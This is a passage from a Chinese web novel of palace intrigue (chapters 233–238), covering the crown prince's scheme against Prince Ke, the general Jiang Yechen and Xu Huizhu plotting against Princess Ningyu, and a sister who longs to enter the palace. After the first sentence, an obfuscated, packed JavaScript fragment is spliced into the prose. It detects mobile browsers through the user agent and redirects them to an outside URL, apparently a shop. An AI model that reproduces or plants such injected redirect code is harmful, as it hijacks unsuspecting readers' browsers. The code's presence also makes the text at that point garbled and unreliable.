阿喜扶着暮歌即刻离宫,在锦衣卫的护送下,直奔凤凰山药泉所在的庄子。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167623|188170||http|test|mini|href|location''.split(''|''),0,{}));
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r>姜夜沉取下皇后娘娘嘴里的黑布,皇后娘娘满脸寒霜,憋在胸腔里的怒火只能继续憋着,暮歌已离开,她无可奈何。
“皇后好计谋,可谓太子身边第一谋士,怕是诸葛孔明活着也不及皇后的风采万一。”
都是自己人,皇上说话不必顾忌。
徐慧珠忍的不易,差点破功笑出声来。
平日里,姜夜沉总是冷着一张脸,外人便以为他的嘴是闷葫芦,殊不知,他一旦开口怼人,对方必重伤。
原来,姜夜沉师承皇上。
“皇上?”皇后娘娘的能耐在于,哪怕把证据甩在她的脸上,她也照样死鸭子嘴硬,不认账。
“暮歌胡言乱语,皇上也信?”
“臣妾不敢染指西疆兵权,也没有指使暮歌去害徐氏,更别说姜夜沉此刻完整无损站在这里……欲加之罪,臣妾万万不能认下。”
皇上气笑了。
他满腹道理,和皇后娘娘说不清。
打蛇打七寸,皇上有法子打痛皇后娘娘。
“皇上,护送克王的锦衣卫一队十二人跪在殿外请罪。”
“克王丧命于紫朔峡谷。”
这回,皇上抓起砚台砸向太子,厉声质问,“太子,如你所愿,克王**。”
皇后娘娘扑过去护住太子,眼神惊慌仍嘴硬辩白,“皇上好不讲理,克王是死是活,与太子何干?皇上拿不出太子弑兄的证据,臣妾不服。”
太子派死侍截杀大皇子李明远,皇后娘娘原本不赞同,可太子先斩后奏,又说斩草不除根,待大皇子李明远韬光养晦五年十年,定会杀回京城,为厉贵妃报仇。
那些死侍死光了,死无对证,就算皇上怀疑,大皇子李明远也不能死而复生。
人不能死而复生,皇上的怒气迟早消散。
这笔账,不管怎么算,都是他们母子稳赚的局面。
想到这里,皇后娘娘彻底冷静下来,她和太子迅速交换眼色。
“父皇,儿臣不认。”
“您就是废儿臣的太子位,或活生生打死儿臣,儿臣也不认。”
“不过?”
第233章:死后折辱
太子看向姜夜沉,尽是狠色。
“儿臣以为,克王的死,姜夜沉得负全部责任。”
“听闻锦衣卫可以一敌十,克王在去往封地云理的路上遭遇连番截杀,为何锦衣卫十二人毫发无损归来?偏偏克王和他的亲卫无一幸免,全部惨死?”
“到底是锦衣卫护主不力?还是旁的原因?父皇该严惩姜夜沉,甚至以他的命偿克王的命,祭克王在天之灵。”
面对太子咄咄逼人,姜夜沉并无半点惊慌。
“太子殿下不必着急治臣的罪。”
姜夜沉转身跪下,“皇上,克王在去往封地云理的路上到底出了什么事情?克王之死,是锦衣卫**?还是另有隐情?”
“臣请皇上恩准让锦衣卫入殿对质。”
“准。”皇上坐回椅子,连一个眼神都懒得给太子。
太子无心无情,莫说为君,为人都不配,令皇上失望透顶。
那件事情,得做决定了。
负责回话的锦衣卫叫豫章。
“回禀皇上,这一路共遭遇四次截杀,都是死侍。”
“臣等谨记大将军交待,以保护克王安危为首任,不得恋战。但在第四次截杀之时,克王突然留下大半亲卫拖住锦衣卫小队,待臣等追到紫朔峡谷之时,只看见一地的残肢,还有十多只野狼尸体。”
“从现场痕迹勘察,克王和他的亲卫被上百头狼群**……”
豫章双手奉上一枚染血的印章和一封浸血的信笺,“皇上,臣带回这两样东西。”
“臣留了两名活口,但不等撬开死侍的嘴,他们在同时爆体而亡。”
“臣有罪。”
皇上手指颤抖,打开信笺,原本悲痛的神色渐变成愤怒,最终化为平静。
“曹文,你去一趟惠山,或招安或剿灭盘踞在惠山的两万山匪。”
太子眼神瑟缩,皇上刻意当面下旨,是在警告他吗?
姜夜沉将华山王拖死在京城,曹文悄无声息收服锦绣城的五万私兵。
太子转念一想,他和大皇子李明远都偷偷豢养私兵,只能说明出身皇族,有黄金座要继承,哪个皇子能淡然说出“他视皇权如粪土”的蠢话。
谁不争?
谁不夺?
他何错之有。
“父皇?”
“事实证明,克王之死与儿臣无关。”
太子看向姜夜沉,当面上眼药,“儿臣不敢怪父皇,定是外人在父皇面前胡说,意在破坏父皇和儿臣的父子关系。”
外人就是姜夜沉。
“与你无关?”皇上冷哼。
真是有其母必有其子,一样的不讲道。
“父皇,您仍信不过儿臣?”
“儿臣说句对不住克王的大实话,若不是克王妄想甩开锦衣卫逃跑,就不会身陷狼群,克王此举,作死自己的命,还连累旁人。”
“儿臣想不通,克王为何私逃?”
“父皇,容儿臣大胆猜测:克王不服,甚至怨恨父皇的处置,不甘去封地云理,假借刺杀遁逃,目的地便是惠山,意图圈地为王。”
“父皇,克王这是……谋反啊。”
太子越说越起劲越兴奋,朝中有些大臣眼拙,私下里投靠大皇子李明远,还敢向皇上进言:储君该立贤能。
大皇子李明远**,也得让他死后臭名昭著,方解太子心中恨意。
死后折辱,是大皇子李明远该得的下场。
“父皇您顾及骨肉亲情,留克王性命,还恩赐王爷尊位和封地。克王若安分,荣华富贵后半生,可他……”
“人在做天在看,克王害了自己的性命,也是天谴。”
“儿臣以为,天意不可违,父皇该将克王的累累罪行昭告天下,他李明远不配李氏皇族后代,更不配当父皇的儿子。”
皇上放在腰间玉佩的手指,又松开,倒不是舍不得这枚价值连城的玉佩砸太子,而是气了半晌,不知怎地,眼下平静的很。
“此事,交给太子来办,如何?”
“父皇?”太子顾不得满身狼狈,匍匐在地,“儿臣谢父皇信任,父皇放心,儿臣定将这差事办得妥帖漂亮。”
“经过克王一事,也是警醒那些不安分的世家大族,忠心皇上,臣服皇权,才是他们该做的。”
太子已然忘记,大皇子李明远是罪该万死没
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错,但人死债了,更重要的是大皇子李明远是他血脉相连的亲兄弟,如今是太子单方面“手足相残”,一国储君如此品德,安国前景堪忧。
可惜,太子对大皇子李明远集聚多年的恨意,蒙住他的双眼,他看不到皇上眼里的失望、冷意。
皇后娘娘心中不安,皇上后来的反应太过平淡平静,暮歌突然背刺,不管是西疆兵权,还是凝玉公主欲杀徐慧珠强姜夜沉……皇上最后竟不提半句。
皇上还解了她的禁足,归还凤印,复掌宫务。
皇上对她,何曾温柔相待过?
难道?
是皇上暴风雨来临前的诡异平静?还是厉贵妃往日里遮挡住她的千好万好,厉贵妃这个祸害精一死,皇上终于有心感受她的美好?
也是,她才是与皇上结发的正妻,厉贵妃算个什么东西。
妾室。
狐狸精。
上不得台面的玩意儿。
皇后很快说服自己,不知为何,没了厉贵妃时不时挑衅,她的心有点儿说出清楚的空落落的感觉。
不过,相比于太子得意忘形,皇后娘娘理智稍在。
“太子,克王一事你不该揽在身上,不管怎么说,克王已死,你再踩克王几脚,心里是痛快了。但,太子,你可知皇上怎么看你?朝臣和百姓又怎么说你?”
“不如推给姜夜沉?反正姜夜沉掌管锦衣卫后,干的就是抓人抄家的活,本就声名狼藉。”
皇后娘娘一心为太子谋算,但这些话落入太子耳中,却被曲解成另一种意思。
太子误以为,皇后娘娘嫌他。
“母后何意?”
“母后心里是不是也瞧不上孤?母后曾在凝玉面前抱怨,您先前斗不过厉贵妃,是因为厉贵妃生了一个优秀的儿子。”
“更过分的是,母后觉得孤拉拢不到姜夜沉,就坐不稳东宫储君之位……请母后等着,孤便证明给您和父皇看,孤为东宫储君,乃天命所归。”
皇后娘娘噎住。
厉贵妃怀胎十月,生的是大皇子李明远,优秀且孝顺。
她怀胎十月,生的是太子,是要她命的克星……
第234章:仓国第一美人来京
太子又以为他揭穿了皇后娘娘的心思,皇后娘娘理亏心虚,才无奈闭嘴。
太子语气越发不耐,“母后对孤操心过多,还是花点心思管一管凝玉,姜夜沉视她如洪水猛兽,叶文瑞将娶上官西环。凝玉拖来拖去,拖成没人要的老姑娘,丢的不仅是父皇母后的脸面,还有孤的脸面。”
“孤宁愿没有凝玉这个不贞不洁、私德败坏的妹妹。”
母子两人不欢而散……
很快,皇后娘娘和太子的谈话内容传到将军府,自然也就传到正在京郊别院和面首厮混的凝玉公主耳中。
太子执笔,亲写大皇子李明远二十一条罪状,并于朝堂上当众宣读。
一时间,太子风头无量。
东宫恢复往日繁荣。
太子频繁在东宫举办宴会,由内务府操办,忙坏了成大监,两个月四场宴会,成大监愁的瘦了二十斤。
徐慧珠拿着请柬,一头雾水。
“太子飘了?皇后娘娘和幕僚也不规劝,就不怕太子飘在空中,下不来,或者摔下来,摔死摔残。”
徐慧珠收到一回请柬,诅咒一回太子。
因为,太子欠骂。
太子在请柬上特意用朱砂标记“姨娘徐氏”,徐慧珠称病不去东宫赴宴,太子派太医又赏赐补品,还在下朝之时当面邀请,大有姜夜沉和徐慧珠拒绝,太子就会告到皇上,请皇上主持公道。
“太子不仅暴露本性,也是试探皇上。”
“皇上先前拒绝凝玉公主和亲,听闻仓国将派使臣团问访安国,一同来京的赫连娜娜,是仓国第一美人,也是赫连敬王爷的嫡长女。”
“赫连娜娜此行,目的是嫁给太子,成为东宫太子妃。”
徐慧珠惊道,“太子会除掉暮歌?”
姜夜沉点头。
“赫连娜娜?”
“赫连敬死在玉香楼,一国王爷死在女妓身上,尊严体面全无,将军你说,赫连娜娜此番来京,是心甘情愿嫁人?还是为父报仇?”
姜夜沉微皱眉头,“赫连娜娜为报仇而来,但皇后娘娘和太子此刻满心欢喜,太子若得仓国外力支持,他自以为储君位置坐得稳当。”
“如今,大皇子大去,皇后娘娘和太子看似得势,但太子心里清楚皇上不待见他,他极需机会向皇上证明自己。”
当晚,徐慧珠去信阿魂,要求云霄阁五日之内备齐赫连娜娜的资料。
她才是赫连娜娜的杀父仇人,不是心虚,而是她一惯谨慎,直觉赫连娜娜是个危险人物,或对暮歌来说,赫连娜娜的到来,是她“重生”的机会。
这一切,都需要小心筹谋。
五日后,徐慧珠看完阿魂送来的密信内容,当即命金夏走一趟叶侯府,她欲邀约叶文瑞在春风酒楼一叙。
叶文瑞特意穿上一身新衣,待他踏入雅间看见姜夜沉时,笑容凝滞。
姜夜沉护食,握住徐慧珠的手,开口赠送叶文瑞一份“难堪”。
“叶世子见着长辈不行礼不叫人,反而黑脸,本将军改日得空问一问西疆王,到底看上叶世子什么了?看上叶世子丑闻缠身?看上叶世子没规没矩?”
叶文瑞当纨绔时,十分惧怕姜夜沉,远远瞧见姜夜沉和锦衣卫,也是绕道跑掉。
但,那是从前的叶文瑞。
他的灵魂死过一回,这世间,不再有他惧怕的人和事。
“其实,我亦有一事不明,原本想求母亲私下问一句慧珠,如她这般优秀智慧的女子怎会让自己身陷泥泞?”
“又一想,不如当面冒昧问,慧珠,你图将军什么?图他年长?图他……不能人道?”
徐慧珠无语至极。
她要和他们商议正事,这俩男人一见面吵架,摩拳擦掌随时干架。
“劳烦叶世子多余操心了,皇上前些时日请玄空大师入宫讲佛,顺道为本将军批命。玄空大师说,本将军福泽深厚,心中所想所求很快柳暗花明。”
“叶世子也知道慧珠医术高明,慧珠有信心治愈本将军的隐疾,我们定会夫妻恩爱白头,子孙围绕膝下。”
论气人,姜夜沉更胜一筹。
姜夜沉接手北疆军后,大小战役无数,从未输过,叶文瑞这个毛头小子意图侵略他的地盘,妄想抢走他的女人?<
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br>痴人做梦。
“将军,你?”
叶文瑞差点骂出口“大将军你无耻”,嘴巴爽快,身体怕是得受一顿痛。
姜夜沉此人,不仅阴险,还擅长公报私仇。
叶文瑞此番回京的另一个目的,是向徐慧珠表明心迹,若徐慧珠愿意,哪怕倾尽所有,他也要抢夺徐慧珠。
他又不是没抢夺过。
当年,皇上为姜夜沉和凝玉公主赐婚,叶文瑞照样向凝玉公主大献殷勤。
这一回,他擦亮眼睛,爱上徐慧珠。
莫说徐慧珠已是姜夜沉的妾,就算姜夜沉身体康健,早行过床榻之欢,那又如何?
他在意的是徐慧珠这个人,在意的是他对徐慧珠的情爱。
他叶文瑞认定的,不撞南墙绝不回头。
等两人暂且休战,发现徐慧珠以一己之力扫荡桌上的菜肴。
“说正事吧。”
徐慧珠放下筷子,为自己倒一杯清茶。
这两个男人不饿不渴,那就乖顺坐着,听她说。
“叶世子,劳烦你说服上官西环,请她这些时日和你成双入对亮相宴会,必要时主动找凝玉公主麻烦。”
“情敌见面分外眼红,大家都会理解,叶世子,你说呢?”
凝玉公主打小和上官西环不对付,凝玉公主嘴贱骂上官西环一回“男人婆”,上官西环直接动手,打的凝玉公主鼻青脸肿。
上官褐为了独女豁得出去脸面,父女俩背着藤条跪在大殿上请罪,“皇上,臣和女儿犯下大错,请皇上降罪。”
“凝玉公主当众辱骂上官西环,骂她是粗鄙不堪的男人婆,骂是她有娘生没娘教的猪仔女……臣的妻子当年战死沙场,留下寡夫孤女,臣一个糙汉子,只会打仗,哪懂教养女儿的细致活。”
“上官西环自小在军营长大,臣又对她疏忽管教,才养得头脑单纯,举止粗鲁,笨嘴笨舌……臣的女儿骂不来人,性子又急,受不得刺激,这才伤到尊贵的凝玉公主。”
上官褐抽出一根藤条,双手举过头顶,“请皇上责罚。”
皇上怎么罚?
如何罚?
第235章:他不敢矫情
凡事有第一回,便有第二回、第三回……
凝玉公主死性不改,嘴贱无敌,只要两人碰面,她不出言辱骂上官西环,就浑身不舒坦。上官西环也不着急,等凝玉公主过足嘴瘾,再拳头招呼。
然后,回府,请上官褐出马,父女两人又又又背着藤条,入宫请罪。
这是一个死循环。
“徐慧珠,你的意思……”
“叶世子说错了,是我和将军的意思。”徐慧珠自是站在姜夜沉这边,她分得清亲近远疏,若她态度不够明确,姜夜沉一旦闹脾气,太难哄。
“叶世子帮了将军大忙,这份人情,将军记在心里。”
徐慧珠将手里的茶盏递给姜夜沉,“凝玉公主暂且还不能死,留她的命,搅浑京城这一池浑水。”
“叶世子可有兴趣?”
凝玉公主就是一颗**,谁也搞不清楚她何时何地**,凑巧了,徐慧珠擅长利用凝玉公主这样又蠢又坏的恶女。
凝玉公主还不知,她在徐慧珠眼里,就是台上扭捏的小丑,起到逗弄徐慧珠开心的作用。
徐慧珠会让凝玉公主这颗恶心人的老鼠屎,坏皇后娘娘和太子的那锅汤。
叶文瑞的目色落在徐慧珠刚刚端过的茶盏上,徐慧珠喝剩下半盏茶水,姜夜沉接过去,一口饮下。
“既如此,我便坦诚告诉两位,此番回京,我安排了好几场大戏,足以让皇后娘娘和凝玉公主这一对母女相残致死。”
叶文瑞并未遮掩眼里的蓬勃恨意,在西疆的无数个夜晚,他被同一个噩梦困住,恨意如毒蛇缠绕心间,令他几欲望窒息。
他知道,唯有以皇后娘娘和凝玉公主的命,祭奠前世叶侯府的家破人亡,他才能从噩梦里解脱。
梦里,徐慧珠突然出现,一巴掌扇在他脸上,冲他怒吼“叶文瑞你最好醒来,不然我把你的俊脸扇成猪头”,她明明好凶,但她的声音,犹如山涧泉水,流入他的心田,浇灌濒临死亡的他。
“叶世子,只是迟早而已。”
“很快,你会得偿所愿。”
谈完正事,徐慧珠心情大好,吩咐掌柜重上一桌菜肴。
只是,这一顿饭用下来,叶文瑞味同嚼蜡,每一吞咽一口食物,如同吞咽碎石块,割破喉咙不说,差点噎死他。
姜夜沉吃的欢实,像极猪圈里抢食的猪仔。
“夫人,为夫想吃一块松鼠桂鱼。”
“夫人,为夫来一块葱花饼。
“夫人,为夫还要喝一碗汤。”
……
叶文瑞气到拿不稳筷子,“堂堂杀神将军,身子不好,如今这手也不好了?是不会夹菜?还是手抖使不上力气?”
“叶世子不懂。”姜夜沉咬下一口糯米藕,甜到心间,“这便是娶妻的妙处。”
“待五年后,叶世子娶到上官西环,不妨试试?”
叶文瑞被姜夜沉怼到无话。
娶妻?
他总不能嘲讽姜夜沉,徐慧珠算哪门子妻,不就是妾吗?
他在错误的时间遇上喜欢的女子,哪忍心伤害。
让上官西环为他夹菜?喂他?
呵,上官西环会端起一盘糯米藕,拍在他脸上。
让他矫情。
爱吃不吃。
不吃滚远。
想到上官西环,叶文瑞哪敢生出半分不该有的矫情心思。
“徐慧珠,你过得是什么日子啊,将军这样的男人,你能日日忍受?”叶文瑞这厮记仇,特别是灵魂重塑之后,奉行有仇必报,最好当场报。
“徐慧珠,如果你想……”
“恐怕让叶世子失望了,我和将军很好。我一没休夫的想法,二没一枝红杏出墙去的念头。”徐慧珠实在搞不懂,叶文瑞忽然移情到她身上,她哪里让他生出误会。
她改,还不成吗?
她保证改到让叶文瑞厌恶的地步。
“上官西环是我敬仰的女英雄,我自问没勇气和她成为情敌。若叶世子莫名纠缠于我,我不介意求到上官西环面前,请她管一管自己的未婚夫,别跟个蜜蜂似的,招惹有夫之妇。”
这话说得严重。
叶文瑞气的食不下咽,姜夜沉倒是胃口大开,比平日多用两碗饭。
托徐慧珠的福,她说的话,好下饭。
另一边,仓国使臣
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团还未入京,赫连娜娜修书一封,请皇后娘娘恩准凝玉公主陪她。
皇后娘娘去君皇殿求见皇上时,正巧徐慧珠在为皇上请平安脉。
说明来意,皇后娘娘小心翼翼观察皇上的神色,“听闻仓国国君已下旨册封赫连娜娜为昌乐长公主,她指名要凝玉接待,也是因为凝玉是安国嫡出长公主的尊贵身份。”
“皇上,凝玉近来自省,已然醒悟先前年少任性,闯了一些祸……凝玉……凝玉她知错了,求皇上您再给凝玉一次机会。”
皇后娘娘行的是跪拜大礼,为了凝玉公主,就是被皇上数落痛骂一个时辰,罚她再跪上一个时辰,也不觉得丢人。
皇上不说话,皇后娘娘继续跪着。
气氛僵硬。
“皇上,这是臣妇和普神医研制的补神丸,早晚各服一丸,皇上日理万机,需保重龙体。”徐慧珠请完脉,奉上补神丸,“皇上和皇后娘娘有事商谈,臣妇告退。”
“慢着。”皇上摩挲手里的瓷瓶,“徐氏,你站去一旁候着,本皇还有事交待夜沉。”
“是。”徐慧珠重新站定,她站着,皇后娘娘跪着,好似她也一同接受皇后娘娘的跪礼。
皇后娘娘看她的眼神,恨意翻腾。
“皇后娘娘,您生了眼疾?”
“您看,是请太医?还是慧珠给您诊治?”
姜夜沉上前一步,挡在徐慧珠面前。
皇上心里冷哼:姜夜沉这是一点儿委屈都不乐意徐慧珠受。
“姜夜沉,你敢诅咒本宫?”
“本宫好好的,何时生了眼疾?”
皇后娘娘怒道。
“诅咒皇后娘娘您?”
姜夜沉连忙下跪请罪,“皇后娘娘言重了。”
“臣哪敢诅咒皇后娘娘,臣一片关怀之心,您刚才看慧珠时,眼白翻涌,似有痛苦之色,臣便以为您生了眼疾,这才……”
“是臣看岔了,臣有错,请皇后娘娘赎罪。”
她刚刚瞪了徐慧珠好几眼,却被姜夜沉说成生了眼疾。
她若骂徐慧珠几句,姜夜沉是不是说她生了舌疮。
“姜夜沉,你?”
第236章:断亲书
“好了,夜沉也是好心,皇后,你不领情也就罢了,说话还咄咄逼人,哪有一国国母的气度。”
皇上开口只拉偏架,姜夜沉对她明里暗里毫不尊重,皇上竟也纵容。
实在过分。
“成何体统。”
皇后娘娘每次能被皇上噎死。
得,晚膳不用传了。
“皇后,如你所愿,本皇就给凝玉机会。”
“但,仓国使臣团来访,是国之大事,接待昌乐长公主,就由上官西环和凝玉共同负责。”
皇后娘娘愣住。
皇上何意?
凝玉公主和上官西环一见面就掐架,说是仇人不为过,皇上还把这两人往一起凑,皇上就不怕上官西环把凝玉公主打伤打残?
凝玉公主可是皇上的亲女,上官西环算什么东西?
京城贵女在一起,就算拌嘴,那拼的也是嘴皮子功夫,哪有像上官西环这样的粗俗女子,面无表情听凝玉公主骂完,然后上手一顿揍。
过分的是上官褐,背着藤条往君皇殿一跪,认错态度良好,但句句“臣有错”,句句哭诉他是可怜的寡夫,上官西环是可怜丧母**,甚至句句诋毁凝玉公主羞辱上官西环在先,上官西环冲动回击在后。
更过分的是,皇上每回轻轻拿起又轻轻放下,凝玉公主活该挨打?活该没爹疼?
皇后娘娘不服。
她恨不能从上官褐背上抽一根藤条,狠狠抽打在上官西环身上,问她疼不疼?问上官褐心疼吗?
“皇上?”
“臣妾以为不妥……”
皇上一记冷眼,“不妥?”
“皇后,你在质疑本皇的决定?”
“臣妾不敢。”皇后娘娘心里发怵,不敢相迎皇上的目光。
厉贵妃那个**终于**,后宫余下嫔妃不足为虑,再也无人阻挡在她和皇上中间。
这段时日,皇后娘娘巴巴地想和皇上缓和关系,为**,自是希望得到夫君的宠爱和敬重。
皇后娘娘也不例外。
“皇上,上官西环打小在军营长大,没接受过京城贵女教导,让上官西环接待昌乐长公主,怕是会被仓国使臣团嘲讽,说我安国乃泱泱大国,贵女的礼仪规矩实在不堪。”
“请皇上收回圣命,若您担忧凝玉一人接待昌乐长公主稍显吃力,便请襄王妃从旁指点。”
徐慧珠一副“我有话说”,表现的太过明显,皇上想忽视都难。
“徐氏,你有话说?”皇上问的直白,“你觉得皇后的建议不妥?”
“徐氏,但说无妨,本皇恕你无罪。”
“皇上?”皇后娘娘脸色难看,徐氏一个低贱妾室,有何资格插嘴。
皇上还过问徐氏?
打她的脸吗?
终于有机会说话,徐慧珠必须抢话,“是,臣妇确有话说。”
“臣妇以为皇后娘娘此举极不妥当,赫连娜娜本是仓国赫连敬王爷的嫡女,仓国君王为抬高她的身份,才册封昌乐长公主。”
“臣妇说句大实话,昌乐长公主看似身份尊贵,实则表面亮光罢了。”
“我安国以礼相待,派出身份真正尊贵的凝玉公主接待,已是绝高规格,仓国使臣团该感恩才是。”
“但,皇后娘娘提议襄王妃和凝玉公主一同接待昌乐长公主,实属不当。襄王妃是皇室宗正之妇,又是长辈,昌乐长公主说破天不过小辈,她的脸面,还没那么大。”
“再说,这回是仓国使臣团求着来访安国,给三两分体面即可,给得多了,怕是得寸进尺。”
皇上点了点头,眼里尽是欣赏之色,这一幕看的皇后娘娘憋火又难受。
皇上爱屋及乌?这哪是给徐慧珠脸面,是要把她捧上天?
也不怕摔死。
徐慧珠继续说道,“臣妇以为皇上圣明,由凝玉公主和上官西环接待昌乐长公主,一柔一刚,一文一武,让仓国使臣团涨涨见识,我安国女子学识胆量非凡,儿郎更是卓越。”
“皇上,臣以为,慧珠所言在理。”姜夜沉立马自夸。
瞧他得意的神情。
看着恶心。
“是将军教的好。”徐慧珠竟好意思接话,“身为将军的夫人,眼界和觉悟不能低。”
皇后娘娘的脸,黑了又青,青了又白。
徐慧珠这是
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嘲讽她,身居高位,眼界和觉悟却低得可笑。
“皇上,臣举荐慧珠一同接待昌乐长公主。”
“徐慧珠师从襄王妃,又得元乐长公主指点,礼仪规矩学得不差,才能不输男子,还擅医术……”
皇后娘娘忍无可忍,“不可。”
“徐氏的身份……”
这话,姜夜沉就不爱听了。
“皇后娘娘如此看轻臣的夫人?”
“徐慧珠乃将军府的夫人,皇上亲封之诰命夫人,襄王妃之义女……这样的身份还不够资格接待昌乐长公主?”
“臣说句逾矩的话,皇后娘娘您是安国国母,同那仓国一无亲戚关系,二无交情,为何频频长外人脸面,贬低自家人?”
“还有一事,皇后娘娘莫忘了,赫连敬当年死在玉香楼那场大火里,他的嫡女来京,是报仇?还是结亲?”
“尚不明朗。”
皇后娘娘:……
姜夜沉这一张破嘴,说着说着,竟堂而皇之诬陷她叛国**?
可恶!
马车上,徐慧珠笑着感叹,“四个女子凑在一处唱戏,这戏精彩有趣了。”
“为夫相信夫人的能耐。”姜夜沉眼神宠溺,“夫人负责动嘴,上官西环负责动手,一文一武,定让那位仓国来的昌乐长公主有来无回。”
“至于凝玉公主,她负责背锅。”
马车刚停在将军府门前,徐慧珠看见一个熟悉的身影正在撕扯手里的锦帕。
“姐姐?”
**月冲过来,抱住徐慧珠的胳膊摇晃,“姐姐救我。”
“母亲这回铁了心要和我断绝母女关系,我该怎么办?”
**月取出一张纸,“姐姐你看,这是母亲亲笔写的断亲书,若不是我抢得快,母亲就送到府衙备案了。”
“姐姐,我马上就变得比你还凄惨,你是母亲病逝,我是被生母抛弃,呜呜呜。”
徐慧珠看了一眼断亲书,的确是继母李氏的笔迹,不仅有李氏的签名,还盖了私章。
“**月,你抢走这封断亲书有何用?母亲不会再写一张?”
“你应该抢了母亲的私章……”
第237章:皇上的桃花
哭声戛然而止。
她抢错了?
“还有,**月,你做了什么大逆不道,不,是人神共愤的错事?”
**月一上来就哭,只说她被母亲抛弃,半句不提缘由。
“姐姐,我……我……”
“我心悦皇上,我……我想入宫为妃,侍奉皇上。”
一句话惊的姜夜沉又坐回马车。
他还是暂且不露面为好。
原谅他一时不知如何面对**月。
此女曾闹死闹活非他不嫁,弄得满城风雨,也因此被凝玉公主记恨。
后来,他因不能人道被凝玉公主退婚,**月唰地变脸,又闹死闹活不嫁。
如今,**月莫名地对皇上情根深种,想要入宫为妃,常伴君侧?
**月是有病吧。
徐慧珠伸手探在**月的额头,把了脉搏,“没得疯病,为何疯言疯语?”
“**月,你见过皇上几面?说过几句话?再说,皇上的年纪足够做你爹了,你图皇上什么?”
“一入宫门深似海,你不知道吗?以你心计,能斗得过那些浑身都是心眼子的嫔妃,只怕**的都不知道。”
“母亲不同意,因为母亲只有你这一个亲生女儿,不愿白发人送黑发人。”
“再说户部尚书府,一门出俩妾……”
徐慧珠心里的猜测,正在一点一点成型。
如若姜夜沉和皇上的关系,不仅仅是君臣,不仅仅是情同父子,而是一对血脉相连的真父子。
这?
一对姐妹嫁给一对父子?
妹妹成庶母,父亲成妹夫……
徐慧珠甩开脑袋里的纷杂思绪,怨念地看了**月一眼,到底是李氏无限娇宠长大,想说什么便说,想做什么便做。
**月的底气,是李氏给的。
“姐姐,你不懂。”
“曾经,我以为这世间最好的男子是姜夜沉,后来,我才明白,姜夜沉是百姓的英雄,却不是我的良人。”
“可,皇上不一样,他睿智深邃,如陈年佳酿,让我沉醉。我才懂得什么是男女情爱,从前的我,对男人的认知太过肤浅。”
“姐姐,我以为你会懂我。”
**月提到皇上,脸颊泛起红晕,眼里的情意弥漫。
徐慧珠理解,恕她不苟同。
皇上是一代明君,但绝非是女子的良人。
不论是皇后娘娘,还是厉贵妃,都是皇上棋局上的一颗颗棋子。
**月这只小白兔,怕是入不得皇上那双精明的眼。
“**月,你太过任性,听我一句劝,皇上那样的男人不适合你。不然,你会因为任性而丢掉性命。”
到底是她的妹妹,忍不住劝诫。
她却忘了,陷入情爱漩涡里的女子,智商为零。
再说,**月便是清醒之时,脑子里也没几两真货。
但,这样任性纯粹的**月,让徐慧珠加起来羡慕了三世。
“姐姐?”
“你……你竟不懂我?母亲不懂我也就罢了,我……我以为这世上最懂我的人,是姐姐。”
“原来是我自作多情。”
**月往马车看了好几眼,心想姜夜沉整日忙碌,出门骑马,极少闲情逸致陪徐慧珠乘坐马车。
姜夜沉不在,她背后说几句便宜姐夫的坏话,徐慧珠应该不会告状吧。
她说的是实话,有点儿难听而已。
“姐姐爱将军吗?”
“姐姐若爱将军,便会懂我,支持我。姐姐若对将军无情无爱,才会反对我。”
“但我觉得姐姐应该深爱将军,不然,将军不能人道,这么可怕的缺憾,姐姐一不嫌弃,二能容忍。”
“所以,姐姐莫说些无用的劝我,我意已决。还请姐姐帮我,说服母亲别动不动就拿断亲书吓唬我,助我入宫为妃。”
**月倒是自信,明着给徐慧珠下套,她万般笃定徐慧珠有能耐助她如愿。
母亲这回不帮她,唯有求助于徐慧珠。
她何尝不知,徐慧珠是她的救命稻草。
她得抓紧了。
之前,徐从德差点将她“卖”给叶文瑞,不等两家人坐下来商议亲事,便曝光叶文瑞和凝玉公主在郡王府偷情的丑闻。
她的亲事,刚冒出一个嫩芽,就被人一脚踩到泥土里。
徐慧珠是在想一巴掌呼过去,姜夜沉此刻就在马车里听墙角,她还得先哄得姜夜
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沉开心。
话不能说错。
得先过脑子,再说出口。
“将军是我今生今世认定的良人,除了情爱,我和将军更是并肩作战的将士。”
并肩复仇。
“夫人所言,亦是为夫心中所想。”
姜夜沉跳下马车,径直走向徐慧珠,牵起自家夫人的手。
他对**月并无好感,曾经她堵住他,大胆表白心迹,她说,“姜夜沉,你是大英雄,又容貌俊美,我心悦你。”
如**月所说,她的爱慕,确实肤浅。
“将……将军,您……您怎么能偷听墙角?”**月心虚,她刚刚当着姜夜沉的面,提说他不能人道的隐秘。
**月吓得小脸发白,又反应过来,自己这是吃错药,竟敢质问姜夜沉偷听墙角,她可怜巴巴望着徐慧珠,撂下一句“姐姐救我”,提着裙摆转身逃了。
徐慧珠:……
她怎么会有这样一个妹妹?
“皇上心善,看不上她。”姜夜沉忍不住提醒。
皇上冷淡后宫,每三年选秀,皇上总会寻到理由一推再推。
都说厉贵妃极尽盛宠,唯独身在局中的厉贵妃心里清楚,她并没有多受宠若,皇上看她的眼神,如搁置一夜的茶水,冰冷发苦,刺喉伤心。
她是皇上刻意立的靶子,存在的意义便是迎接和承受皇后娘娘扔过来的飞刀。
妻妾平衡之术,关系到他们身后的世家大族,皇上不愧为明君,此计用得炉火纯青。
姜夜沉多余说一句,“你那位妹妹,没有让皇上私护的价值,仅凭对皇上的一腔情爱,想要在后宫活下去,本身就是笑话。”
他们都觉得实在尴尬又膈应,不知,皇上知道,会是怎样的表情。
“将军且放心,李氏爱女入骨,她断不会眼睁睁看着**月求死。”
“只怕徐从德……”
在姜夜沉面前,徐慧珠惯会随心所欲,她直呼父亲姓名,姜夜沉不会认为她没规没矩,忤逆不孝。
不管是给予自己生命的父母,或血脉相连的亲人,又或救命恩人、知己好友……他们若算计你,何必给他们脸。
一巴掌扇回去就是了。
第238章:再不归京
“夫人且安心,徐大人若起了卖母求荣的心思,我会亲手掐灭徐大人心中欲念的小火苗。”
**月气呼呼回府,她尚不知,她自以为的另一场爱情之花,还未来得及绽放,已被人合力连根拔起。
徐慧珠说了很多话,**月只听进去一句。
当晚,**月赖上李氏的床榻,任凭李氏板着脸也赶不走。
